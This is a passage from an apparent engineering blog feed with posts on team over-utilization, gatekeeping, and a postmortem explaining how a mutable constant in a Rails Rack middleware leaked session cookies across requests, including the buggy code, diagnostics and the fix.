&lt;p&gt;We can define high utilization as team members spending &lt;em&gt;most of their time&lt;/em&gt; tackling tasks directly related to the delivery of their projects. You can think of these tasks as something that &lt;em&gt;moves the project forward towards completion&lt;/em&gt;. In most cases this will mean feature development, but it also applies to operational teams taking care of areas like infrastructure or security. Put another way, team members have most of their time occupied with individual tasks, not with shared responsibilities like documentation, code reviews or mentoring.&lt;/p&gt;
&lt;p&gt;Everyone has a queue of tasks that needs to be done “now”, and this queue only grows as the number of tasks increases. I’m sure most of you have been in this position before, where it doesn’t matter the amount of work you do, there’s always new things in the queue. This seems great from a company or management perspective since it implies things are getting done. Or is it? I will argue that it’s the opposite. The higher the utilization the longer teams will take to complete their tasks and deliver value.&lt;/p&gt;
&lt;p&gt;Again, I know this seems counterintuitive.&lt;/p&gt;
&lt;h2&gt;Lead time&lt;/h2&gt;
&lt;p&gt;We will use the common definition of lead time, which is:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Lead time measures the time from the moment someone makes a request to the time they receive something&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;If you have more tasks than you can handle it’s a given that something will have to wait in the queue, but why would lead time increase exponentially?&lt;/p&gt;
&lt;h2&gt;Common reasons&lt;/h2&gt;
&lt;p&gt;While each team will face distinct challenges, there are commonalities among teams under high utilization. Some or most of those are directly related to an increase in the cognitive load of each team member.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Prioritization&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;It’s easy to prioritize among a small number of tasks, but it becomes increasingly harder to prioritize a higher number of them. Should you unblock a team that has been waiting for a few weeks, run a security review for an important product release or validate the approach that a team is planning to take on their technical design? Wait, what about this new incident that just started?&lt;/p&gt;
&lt;p&gt;It is time consuming to reason about what should be done next and it’s likely that the team will have to prioritize for the short-term. This is not beneficial from a business perspective and tends to make things worse in the long run.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Psychological stress&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Even if you do end up prioritizing efficiently, just the sheer fact of having a queue with lots of high-priority tasks in it is stressful, reduces the ability to concentrate, and increases the cognitive load. Being on-call is a good example here, even if there’s a possibility that nothing will happen there’s always that underlying “stress” that makes people unable to fully relax or focus.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Context switching&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;It’s no surprise that people are more productive when they can work on a task from start to finish without interruption, but as the utilization goes up, so does the amount of concurrent tasks people are tackling. Unfortunately switching context is &lt;em&gt;expensive&lt;/em&gt;, energy and time-wise. This will not only decrease the throughput of the team, but also decrease the overall quality of the final product.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Coordination&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Even in the best circumstances coordination is a challenge, but when every team member is being fully utilized coordination becomes exponentially harder. This becomes evident when a task falls under the umbrella of &lt;em&gt;shared responsibilities&lt;/em&gt;, like code reviews or documentation. Why?&lt;/p&gt;
&lt;p&gt;Depending on your team, one or two people will need to set time aside to review a particular pull request, but who has time to do it? While no one sets time aside (or is not directly told to help), at least one person in the team is blocked or will have to switch contexts while they wait. Since we are aiming for high utilization we likely have someone else waiting on this task to be done, that person will also need to switch contexts.&lt;/p&gt;
&lt;p&gt;The second type of coordination is logistical, it assumes we are able to plan our tasks and predict how long each one will take correctly. It also assumes no one else in the team will face unforeseen circumstances. Sounds far from reality, does it not?&lt;/p&gt;
&lt;h2&gt;Usual consequences&lt;/h2&gt;
&lt;p&gt;While every team will face distinct challenges, most of them will face the same consequences.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Communication&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;One of the first things that breaks down is communication. Asynchronous messages start taking longer to be answered or not answered at all in public and private channels. Emails or issues will tend to be forgotten until someone volunteers or gets “voluntold”. You will notice less engagement in meetings, with people multitasking or not participating at all. This in turn decreases the amount of collaboration and trust among team members.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Shared responsibilities&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;With every team member under high utilization shared responsibilities starts falling through the cracks. These are the responsibilities that are not tied to any single individual, but that are shared among the team. Among those we can list:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Mentorship&lt;/li&gt;
&lt;li&gt;Knowledge sharing&lt;/li&gt;
&lt;li&gt;Code reviews&lt;/li&gt;
&lt;li&gt;Documentation&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Among those, code reviews and mentorship directly impacts the cycle time as well. Notice how all of those are critical for a healthy organization in the long-term. It’s not a coincidence that they are deprioritized.&lt;/p&gt;
&lt;h2&gt;Why does this myth of high utilization persist?&lt;/h2&gt;
&lt;p&gt;If doing things this way impacts delivery speed and quality in the long run, why do we still see high utilization as a positive signal? My theory is that most of our industry is caught up playing short term games.&lt;/p&gt;
&lt;p&gt;Leadership is expected to provide results in short-term cycles, hence management gets recognized for delivering projects in tight timelines and developers are rewarded when they are able to ship tasks as fast as possible. None of these behaviours are responsible for creating better products, teams or culture in the long run. This reminds me of a quote from Dave Packard:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;“More Organisations Die Of Indigestion Than Starvation”&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;This quote really resonates with me. We need teams focused on a small number of objectives that are aligned with the company vision. High utilization doesn’t allow for strategic planning, getting teams caught up in a tactical mindset.&lt;/p&gt;
&lt;h2&gt;Things to look out for&lt;/h2&gt;
&lt;p&gt;If you are not sure whether your team is under high utilization or not (you probably know) you can look for the following characteristics:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Team members working alone or in small teams due to too many initiatives&lt;/li&gt;
&lt;li&gt;Poor engagement in meetings&lt;/li&gt;
&lt;li&gt;Asynchronous channels (Slack, email, etc) drying up in participation or being slow/ignored&lt;/li&gt;
&lt;li&gt;Pull request cycle time increasing
&lt;ul&gt;
&lt;li&gt;PRs are taking longer to be opened (high complexity/lower quality in the codebase)&lt;/li&gt;
&lt;li&gt;PRs are taking longer to be reviewed (context switching)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Increased amount of bugs in production&lt;/li&gt;
&lt;li&gt;Knowledge silos (small groups each holding part of the knowledge while no one in the team holds the full picture)&lt;/li&gt;
&lt;li&gt;Lack of documentation&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Pay special attention to decisions on how the strategic objectives should be delivered being made without or far from the team that is executing it.&lt;/p&gt;
&lt;h2&gt;Caveats&lt;/h2&gt;
&lt;p&gt;There are moments where high utilization is unavoidable. For example, if your company is trying to find market fit or when time to market is critical for success. These tend to be highly overestimated by companies, but it is a legitimate scenario that should be taken into consideration. With that said, keeping teams under high utilization for long periods of time is not a viable strategy.&lt;/p&gt;
&lt;h2&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;It takes a team to push against the myth of high utilization. Developers should raise their concerns when they feel they are lacking support or stretched too thin. Knowing when to say “no” is a powerful skill to have. Managers should listen to the team’s feedback, but also keep an eye on and push back when they feel like the team is juggling between too many responsibilities. You will rarely hear a “no” from junior developers and it is your job to pay attention to a high utilization situation. Leadership on the other hand should trust that their teams are making good decisions on how their strategic objectives should be delivered. Make sure, despite the level you are operating in, that you have alignment with people around you and avoid making assumptions about what people know.&lt;/p&gt;
&lt;p&gt;Ultimately growing queues (faster than cycle time) are inevitable, but there’s a big difference between accepting this fact and still allowing the team to do deep work versus trying to tackle everything at the same time. When everything is a priority, nothing is a priority.&lt;/p&gt;
&lt;p&gt;Thank you for reading. If you have comments or suggestions I would love to have a conversation about this topic with you. As always you can reach out to me via email or twitter. See you next time!&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Gatekeeping in the software industry]]></title><description><![CDATA[What is gatekeeping and when can it lead to a positive outcome?]]></description><link>https://bernardoamc.com/gatekeeping-software-development/</link><guid isPermaLink="false">https://bernardoamc.com/gatekeeping-software-development/</guid><pubDate>Sun, 13 Mar 2022 12:30:00 GMT</pubDate><content:encoded>&lt;p&gt;Gatekeeping is a common term in the Software Development industry and depending on whom you ask it can have positive or negative connotations.&lt;/p&gt;
&lt;p&gt;I thought it would be a fun exercise to define what this term means to me, so without further ado, what is a gatekeeper and what does gatekeeping even mean?&lt;/p&gt;
&lt;h2&gt;Gatekeeper&lt;/h2&gt;
&lt;p&gt;For our discussion I will define a gatekeeper as:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;a person or group who controls access to something, be it a project, process or even something abstract like a company’s culture&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Individuals usually end up in the position of a gatekeeper due to context (time on a project), seniority (technical expertise) or due to owning rights (project creator). In broader terms everyone is a gatekeeper. For example, you decide who or what goes into your own house.&lt;/p&gt;
&lt;p&gt;Becoming a gatekeeper can also happen organically. When an employee is the only person remaining in the company that tackled a particular project they become a gatekeeper by default until another team can build the necessary context to run that project.&lt;/p&gt;
&lt;h2&gt;Gatekeeping&lt;/h2&gt;
&lt;p&gt;I like to think of the act of gatekeeping as a funnel that starts with a broad set of inputs and only a subset of those make it to the end of the funnel and get incorporated into the resource being overlooked by gatekeepers.&lt;/p&gt;
&lt;p&gt;Input might be dropped due to a lack of alignment with the project vision, poor code quality or simply a lack of time. All according to the gatekeepers’ opinion, of course.&lt;/p&gt;
&lt;p&gt;Given that, what can be considered positive or negative gatekeeping?&lt;/p&gt;
&lt;h2&gt;Positive gatekeeping&lt;/h2&gt;
&lt;p&gt;Positive gatekeeping happens when gatekeepers are able to &lt;strong&gt;share context&lt;/strong&gt;, &lt;strong&gt;knowledge&lt;/strong&gt; and &lt;strong&gt;align&lt;/strong&gt; other contributors towards their vision. Over the long term the friction with the remaining contributors &lt;strong&gt;decreases&lt;/strong&gt; since the overall context is &lt;strong&gt;increasing&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Successful open source projects are a good example of positive gatekeeping since creators are able to share their vision and knowledge. The consequence is that new maintainers and core contributors end up joining and a community is formed around the project. This is reflected through good documentation, onboarding experience, tooling and a consistent codebase.&lt;/p&gt;
&lt;p&gt;It’s important to mention that &lt;strong&gt;we are trading higher friction upfront for lower friction in the long run&lt;/strong&gt; and doing so at scale is increasingly hard.&lt;/p&gt;
&lt;h2&gt;Negative gatekeeping&lt;/h2&gt;
&lt;p&gt;Every developer has experienced negative gatekeeping at some point in their career. You might remember it as a senior developer blocking your work but not sharing their knowledge and helping you get better at your craft, or leaders pushing decisions from the top without sharing their vision or hearing your input.&lt;/p&gt;
&lt;p&gt;Negative gatekeeping &lt;strong&gt;trades lower friction upfront for higher friction in the long run&lt;/strong&gt;. It’s easier for gatekeepers to do something themselves since they already have the context, but coworkers or contributors will keep depending on them for every other task that requires the same context. This will have negative consequences as time goes on.&lt;/p&gt;
&lt;p&gt;Gatekeepers will burn out due to the sheer amount of demand for their attention, while coworkers/contributors will feel frustrated that they are not improving their craft or being heard. Both scenarios will leave the company in a worse place and as a leader you should pay special attention to the kind of gatekeeping that is happening around you and your team.&lt;/p&gt;
&lt;h2&gt;Leadership and gatekeeping&lt;/h2&gt;
&lt;p&gt;I don’t see leadership being discussed as much in the context of gatekeeping, but a lot of problems can be framed in this context.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Knowledge silos due to lack of context sharing&lt;/li&gt;
&lt;li&gt;Team velocity since gatekeepers are bottlenecks&lt;/li&gt;
&lt;li&gt;Lack of individual growth due to poor mentorship&lt;/li&gt;
&lt;li&gt;Amount of bugs, again due to a lack of context sharing&lt;/li&gt;
&lt;li&gt;Team member turnover due to burnouts&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;As a leader it’s important to pay special attention to the type of gatekeeping that is happening around you (and by you). Sometimes just becoming aware of the situation is enough to promote change. Below is a non-exhaustive list of things that have worked for me in the past in no particular order:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Recognizing team members for good mentorship skills&lt;/li&gt;
&lt;li&gt;Celebrating thorough documentation&lt;/li&gt;
&lt;li&gt;Publishing project updates&lt;/li&gt;
&lt;li&gt;Creating spaces for knowledge sharing like dedicated slack channels or meetings&lt;/li&gt;
&lt;li&gt;Making clear what vision and goals we have for a team or projects&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;What else has worked for you before?&lt;/p&gt;
&lt;h2&gt;Summary&lt;/h2&gt;
&lt;p&gt;Gatekeeping can be either positive or negative, pay attention of which one you are promoting on a daily basis. It can be tempting to be the person “holding the knowledge”, the person that people depend on for their daily tasks. Fight that urge, you are stiffling your team’s growth and spending time gatekeeping them when you could be sharing your knowledge and making time to learn something entirely new.&lt;/p&gt;
&lt;p&gt;Software development is not a zero-sum game.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Memory leak in Rack middlewares]]></title><description><![CDATA[How a memory leak within one of our middlewares exposed user sessions across requests.]]></description><link>https://bernardoamc.com/rails-middleware-leak/</link><guid isPermaLink="false">https://bernardoamc.com/rails-middleware-leak/</guid><pubDate>Thu, 03 Mar 2022 11:35:00 GMT</pubDate><content:encoded>&lt;p&gt;Earlier this month we received a report in our Bug Bounty program claiming that user sessions were being leaked when a request was made with an invalid JSON body. We were skeptical at first, but to our surprise we managed to replicate the report! What is going on? This post aims to summarize our findings and hopefully save other teams some time and trouble in the long run.&lt;/p&gt;
&lt;h2&gt;Scenario&lt;/h2&gt;
&lt;p&gt;Every new request with an invalid JSON body would expose one or more &lt;code class=&quot;language-text&quot;&gt;Set-Cookie&lt;/code&gt; headers in our responses, sometimes from sessions you did not own yourself.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Request&lt;/strong&gt;&lt;/p&gt;
&lt;deckgo-highlight-code   highlight-lines=&quot;undefined&quot;&gt;
          &lt;code slot=&quot;code&quot;&gt;POST /graphql HTTP/1.1
Host: service.com
Accept: */*
Content-Type: application/json
Content-Length: 18

{
  broken JSON&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;p&gt;&lt;strong&gt;Response&lt;/strong&gt;&lt;/p&gt;
&lt;deckgo-highlight-code   highlight-lines=&quot;undefined&quot;&gt;
          &lt;code slot=&quot;code&quot;&gt;HTTP/1.1 400 Bad Request
Date: Thu, 03 Feb 2022 12:24:48 GMT
Content-Type: text/plain
...
Set-Cookie: _service_session=&amp;lt;value1&amp;gt;; path=/; expires=Fri, 04 Feb 2022 08:38:48 GMT; secure; HttpOnly; SameSite=Lax; SameSite=None;
Set-Cookie: _service_session=&amp;lt;value2&amp;gt;; path=/; expires=Fri, 04 Feb 2022 11:56:03 GMT; secure; HttpOnly; SameSite=Lax; SameSite=None; 
...

Bad Request&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;p&gt;Response with multiple &lt;code class=&quot;language-text&quot;&gt;Set-Cookie&lt;/code&gt; headers, which shouldn’t happen in our case.&lt;/p&gt;
&lt;h2&gt;Context&lt;/h2&gt;
&lt;p&gt;Our app was built using &lt;a href=&quot;https://rubyonrails.org/&quot;&gt;Rails&lt;/a&gt; and runs on &lt;a href=&quot;https://github.com/puma/puma&quot;&gt;Puma&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;In order to understand the issue we need to make a detour and talk about &lt;a href=&quot;https://github.com/rack/rack&quot;&gt;Rack&lt;/a&gt; in a very hand-wavy way. Rack provides an API for:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Web servers, which is Puma in our scenario&lt;/li&gt;
&lt;li&gt;Web frameworks, which is Rails&lt;/li&gt;
&lt;li&gt;Middlewares, which is code that runs in-between our web server and our framework&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Since every part of our workflow uses the same API we can &lt;em&gt;chain&lt;/em&gt; our calls from a request to a response. This can be roughly visualized as:&lt;/p&gt;
&lt;deckgo-highlight-code   highlight-lines=&quot;undefined&quot;&gt;
          &lt;code slot=&quot;code&quot;&gt;Request
  -&amp;gt; Web Server
    -&amp;gt; Middleware 1
      -&amp;gt; ...
        -&amp;gt; Middleware N
          -&amp;gt; Web Framework
        &amp;lt;- Middleware N
      &amp;lt;- ...
    &amp;lt;- Middleware 1
  &amp;lt;- Web server
Response&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;br /&gt;
&lt;p&gt;It’s worth reiterating that middlewares can be chained, and they respect the same API. The return of each middleware has the following format:&lt;/p&gt;
&lt;deckgo-highlight-code language=&quot;ruby&quot;  &gt;
          &lt;code slot=&quot;code&quot;&gt;[
  &amp;lt;http_status&amp;gt;,
  { &amp;lt;Hash containing headers&amp;gt; },
  [ &amp;lt;Array containing the response body&amp;gt; ]
]&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;p&gt;For example:&lt;/p&gt;
&lt;deckgo-highlight-code language=&quot;ruby&quot;  &gt;
          &lt;code slot=&quot;code&quot;&gt;[200, {&amp;quot;Content-Type&amp;quot; =&amp;gt; &amp;quot;text/plain&amp;quot;}, [&amp;quot;Hello!&amp;quot;]]&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;br /&gt;
&lt;p&gt;This should be enough to understand our bug. If you would like to know more about Rack and how middleware works I recommend starting &lt;a href=&quot;https://www.rubyguides.com/2018/09/rack-middleware/&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;Spot the bug&lt;/h2&gt;
&lt;p&gt;A simplified view of the middleware chain in our application can be represented as:&lt;/p&gt;
&lt;deckgo-highlight-code   highlight-lines=&quot;undefined&quot;&gt;
          &lt;code slot=&quot;code&quot;&gt;Request
  -&amp;gt; Web Server
    -&amp;gt; Authorization::Middleware
      -&amp;gt; SetCookie::Middleware
        -&amp;gt; Web Framework
      &amp;lt;- SetCookie::Middleware
    &amp;lt;- Authorization::Middleware
  &amp;lt;- Web server
Response&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;br /&gt;
&lt;p&gt;With this context in mind let’s dive right into the code. I’ve tried to simplify the middleware as much as possible without compromising the context, can you spot the problem?&lt;/p&gt;
&lt;deckgo-highlight-code language=&quot;ruby&quot;  &gt;
          &lt;code slot=&quot;code&quot;&gt;module Authorization
  class Middleware
    BAD_REQUEST_RESPONSE = [
      400, { &amp;quot;Content-Type&amp;quot; =&amp;gt; &amp;quot;text/plain&amp;quot; }, [&amp;quot;Bad Request&amp;quot;]
    ]
    
    def initialize(app, policies: nil)
      @app = app
      @policies = policies
    end
    
    def call(env)
      request = ActionDispatch::Request.new(env)
      policy = policies.for_path(request.fullpath)

      # Returns [HTTP_STATUS, HEADERS, [BODY]]
      if policy.satisfied?
        return @app.call(env)
      end

      # Policy not satisfied, redirect to login
      redirect_to_login
    rescue ActionDispatch::Http::Parameters::ParseError =&amp;gt; e
      # Log errors and fire some metrics
      BAD_REQUEST_RESPONSE
    end
  end
end&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;br /&gt;
&lt;p&gt;If you managed to pinpoint that the problem is being caused by the &lt;code class=&quot;language-text&quot;&gt;BAD_REQUEST_RESPONSE&lt;/code&gt; constant, congratulations! If not, that’s completely fine and we will investigate why that is a problem in the next sections.&lt;/p&gt;
&lt;h2&gt;Returning a constant from a Rack middleware&lt;/h2&gt;
&lt;p&gt;Once our &lt;code class=&quot;language-text&quot;&gt;Middleware&lt;/code&gt; class gets loaded the &lt;code class=&quot;language-text&quot;&gt;BAD_REQUEST_RESPONSE&lt;/code&gt; constant will be defined and stay in memory &lt;em&gt;until our class goes away&lt;/em&gt;. We can assert that this is the case by doing:&lt;/p&gt;
&lt;deckgo-highlight-code language=&quot;ruby&quot;  &gt;
          &lt;code slot=&quot;code&quot;&gt;require &amp;#39;objspace&amp;#39;

module Authorization
  class Middleware
    # ...
    def call(env)
      # ...
      puts ObjectSpace.dump(BAD_REQUEST_RESPONSE)
      # ...
    end
  end
end&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;br /&gt;
&lt;p&gt;The output will be similar to:&lt;/p&gt;
&lt;deckgo-highlight-code language=&quot;json&quot;  &gt;
          &lt;code slot=&quot;code&quot;&gt;{&amp;quot;address&amp;quot;:&amp;quot;0x120929688&amp;quot;, &amp;quot;type&amp;quot;:&amp;quot;ARRAY&amp;quot;, &amp;quot;class&amp;quot;:&amp;quot;0x1208972d8&amp;quot;, &amp;quot;length&amp;quot;:3, &amp;quot;embedded&amp;quot;:true, &amp;quot;references&amp;quot;:[&amp;quot;0x120929700&amp;quot;, &amp;quot;0x1209296b0&amp;quot;], &amp;quot;memsize&amp;quot;:40, &amp;quot;flags&amp;quot;:{&amp;quot;wb_protected&amp;quot;:true, &amp;quot;old&amp;quot;:true, &amp;quot;uncollectible&amp;quot;:true, &amp;quot;marked&amp;quot;:true}}&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;br /&gt;
&lt;p&gt;The important piece of information in our case is the &lt;code class=&quot;language-text&quot;&gt;true&lt;/code&gt; value in the &lt;code class=&quot;language-text&quot;&gt;&quot;uncollectible&quot;&lt;/code&gt; key, which proves that our constant will &lt;strong&gt;not be garbage collected&lt;/strong&gt;. We could have also logged &lt;code class=&quot;language-text&quot;&gt;BAD_REQUEST_RESPONSE.object_id&lt;/code&gt; in each request to notice that the object didn’t change.&lt;/p&gt;
&lt;p&gt;It’s important to mention that having an object that is not garbage collected is totally fine unless your object is being modified in a way that makes it increase in size in an unbounded manner. Let’s keep digging.&lt;/p&gt;
&lt;p&gt;Since &lt;code class=&quot;language-text&quot;&gt;BAD_REQUEST_RESPONSE&lt;/code&gt; cannot be garbage collected we can assume that objects within it are also safe from it. Let’s double check this assumption:&lt;/p&gt;
&lt;deckgo-highlight-code language=&quot;ruby&quot;  &gt;
          &lt;code slot=&quot;code&quot;&gt;require &amp;#39;objspace&amp;#39;

module Authorization
  class Middleware
    # ...
    def call(env)
      # ...
      # Accessing the hash containing our response headers
      puts ObjectSpace.dump(BAD_REQUEST_RESPONSE[1])
      # ...
    end
  end
end&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;p&gt;The output will be similar to:&lt;/p&gt;
&lt;deckgo-highlight-code language=&quot;json&quot;  &gt;
          &lt;code slot=&quot;code&quot;&gt;{&amp;quot;address&amp;quot;:&amp;quot;0x120929700&amp;quot;, &amp;quot;type&amp;quot;:&amp;quot;HASH&amp;quot;, &amp;quot;class&amp;quot;:&amp;quot;0x1208951e0&amp;quot;, &amp;quot;size&amp;quot;:2, &amp;quot;references&amp;quot;:[&amp;quot;0x1208e3610&amp;quot;, &amp;quot;0x120929750&amp;quot;, &amp;quot;0x1208e3480&amp;quot;, &amp;quot;0x120929728&amp;quot;], &amp;quot;memsize&amp;quot;:168, &amp;quot;flags&amp;quot;:{&amp;quot;wb_protected&amp;quot;:true, &amp;quot;old&amp;quot;:true, &amp;quot;uncollectible&amp;quot;:true, &amp;quot;marked&amp;quot;:true}}&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;br /&gt;
&lt;p&gt;Notice that the &lt;code class=&quot;language-text&quot;&gt;address&lt;/code&gt; can be found within the list of &lt;code class=&quot;language-text&quot;&gt;references&lt;/code&gt; when we ran &lt;code class=&quot;language-text&quot;&gt;ObjectSpace.dump&lt;/code&gt; on the entire &lt;code class=&quot;language-text&quot;&gt;BAD_REQUEST_RESPONSE&lt;/code&gt; object earlier. More importantly, we can again confirm that our inner object won’t be garbage collected since it contains &lt;code class=&quot;language-text&quot;&gt;&quot;uncollectible&quot;:true&lt;/code&gt;.&lt;/p&gt;
&lt;h2&gt;Middlewares can be chained&lt;/h2&gt;
&lt;p&gt;We’ve talked about this earlier, but every middleware in our chain can &lt;em&gt;modify the request or response&lt;/em&gt; and pass it forward to the next middleware or web framework. What happens if one of our middleware modifies one of the objects &lt;em&gt;within&lt;/em&gt; &lt;code class=&quot;language-text&quot;&gt;BAD_REQUEST_RESPONSE&lt;/code&gt;?&lt;/p&gt;
&lt;p&gt;Turns out that since our object cannot be garbage collected it will &lt;em&gt;still be available in future requests&lt;/em&gt;!&lt;/p&gt;
&lt;p&gt;We now have a clear picture of what happened:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Our &lt;code class=&quot;language-text&quot;&gt;BAD_REQUEST_RESPONSE&lt;/code&gt; constant gets returned to the next middleware when an invalid JSON body is parsed&lt;/li&gt;
&lt;li&gt;Another middleware in the chain modifies the header object within &lt;code class=&quot;language-text&quot;&gt;BAD_REQUEST_RESPONSE&lt;/code&gt; with a &lt;code class=&quot;language-text&quot;&gt;Set-Cookie&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Our framework returns a &lt;code class=&quot;language-text&quot;&gt;BAD REQUEST&lt;/code&gt; HTTP status with a single &lt;code class=&quot;language-text&quot;&gt;Set-Cookie&lt;/code&gt; header&lt;/li&gt;
&lt;li&gt;A new request with an invalid JSON body arrives&lt;/li&gt;
&lt;li&gt;Our &lt;strong&gt;modified&lt;/strong&gt; &lt;code class=&quot;language-text&quot;&gt;BAD_REQUEST_RESPONSE&lt;/code&gt; constant gets passed to the next middleware when an invalid JSON body is parsed&lt;/li&gt;
&lt;li&gt;Yet another &lt;code class=&quot;language-text&quot;&gt;Set-Cookie&lt;/code&gt; gets added to the object that contains our headers&lt;/li&gt;
&lt;li&gt;Our framework returns a &lt;code class=&quot;language-text&quot;&gt;BAD REQUEST&lt;/code&gt; HTTP status with a &lt;strong&gt;two&lt;/strong&gt; distinct &lt;code class=&quot;language-text&quot;&gt;Set-Cookie&lt;/code&gt; headers&lt;/li&gt;
&lt;li&gt;Go back to step 4 and increase the number of &lt;code class=&quot;language-text&quot;&gt;Set-Cookie&lt;/code&gt; headers by one&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;This means that our &lt;code class=&quot;language-text&quot;&gt;BAD_REQUEST_RESPONSE&lt;/code&gt; object will grow every time a bad request comes in, this is a problem even if it wasn’t leaking confidential information.&lt;/p&gt;
&lt;p&gt;We can inspect this behaviour in each request by using &lt;code class=&quot;language-text&quot;&gt;ObjectSpace.dump&lt;/code&gt; with the object that contains our headers.&lt;/p&gt;
&lt;deckgo-highlight-code language=&quot;ruby&quot;  &gt;
          &lt;code slot=&quot;code&quot;&gt;ObjectSpace.dump(BAD_REQUEST_RESPONSE[1])&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;br /&gt;
&lt;p&gt;&lt;strong&gt;First request&lt;/strong&gt;&lt;/p&gt;
&lt;deckgo-highlight-code language=&quot;json&quot;  &gt;
          &lt;code slot=&quot;code&quot;&gt;{&amp;quot;address&amp;quot;:&amp;quot;0x120929700&amp;quot;, &amp;quot;type&amp;quot;:&amp;quot;HASH&amp;quot;, &amp;quot;class&amp;quot;:&amp;quot;0x1208951e0&amp;quot;, &amp;quot;size&amp;quot;:2, &amp;quot;references&amp;quot;:[&amp;quot;0x1208e3610&amp;quot;, &amp;quot;0x120929750&amp;quot;, &amp;quot;0x1208e3480&amp;quot;, &amp;quot;0x120929728&amp;quot;], &amp;quot;memsize&amp;quot;:168, &amp;quot;flags&amp;quot;:{&amp;quot;wb_protected&amp;quot;:true, &amp;quot;old&amp;quot;:true, &amp;quot;uncollectible&amp;quot;:true, &amp;quot;marked&amp;quot;:true}}&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;br /&gt;
&lt;p&gt;&lt;strong&gt;Second request&lt;/strong&gt;&lt;/p&gt;
&lt;deckgo-highlight-code language=&quot;json&quot;  &gt;
          &lt;code slot=&quot;code&quot;&gt;{&amp;quot;address&amp;quot;:&amp;quot;0x120929700&amp;quot;, &amp;quot;type&amp;quot;:&amp;quot;HASH&amp;quot;, &amp;quot;class&amp;quot;:&amp;quot;0x1208951e0&amp;quot;, &amp;quot;size&amp;quot;:3, &amp;quot;references&amp;quot;:[&amp;quot;0x1208e3610&amp;quot;, &amp;quot;0x120929750&amp;quot;, &amp;quot;0x1208e3480&amp;quot;, &amp;quot;0x120929728&amp;quot;, &amp;quot;0x120b06578&amp;quot;, &amp;quot;0x120a87f98&amp;quot;], &amp;quot;memsize&amp;quot;:168, &amp;quot;flags&amp;quot;:{&amp;quot;wb_protected&amp;quot;:true, &amp;quot;old&amp;quot;:true, &amp;quot;uncollectible&amp;quot;:true, &amp;quot;marking&amp;quot;:true, &amp;quot;marked&amp;quot;:true}}&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;p&gt;Notice how the list of &lt;code class=&quot;language-text&quot;&gt;references&lt;/code&gt; increased between requests. None of these references will be garbage collected either!&lt;/p&gt;
&lt;h2&gt;The fix&lt;/h2&gt;
&lt;p&gt;The fix was pretty anticlimactic and just consisted of &lt;em&gt;not using a constant&lt;/em&gt; in our middleware. This guarantees that a new object will be used in each request.&lt;/p&gt;
&lt;deckgo-highlight-code language=&quot;ruby&quot;  &gt;
          &lt;code slot=&quot;code&quot;&gt;module Authorization
  class Middleware
    # BAD_REQUEST_RESPONSE removed
    
    def initialize(app, policies: nil)
      # Everything remains the same
    end
    
    def call(env)
      # Everything remains the same
    rescue ActionDispatch::Http::Parameters::ParseError =&amp;gt; e
      # A brand new Array on each request
      [
        400,
        { &amp;quot;Content-Type&amp;quot; =&amp;gt; &amp;quot;text/plain&amp;quot; },
        [&amp;quot;Bad Request&amp;quot;]
      ]
    end
  end
end&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;h2&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;Referencing constants within a Rack middleware might cause memory leaks and expose sensitive information. Since the issue is order dependent it might sit undiscovered in the codebase for a long time until a new middleware that is completely unrelated to your old one triggers it. Or it might never become a problem at all!&lt;/p&gt;
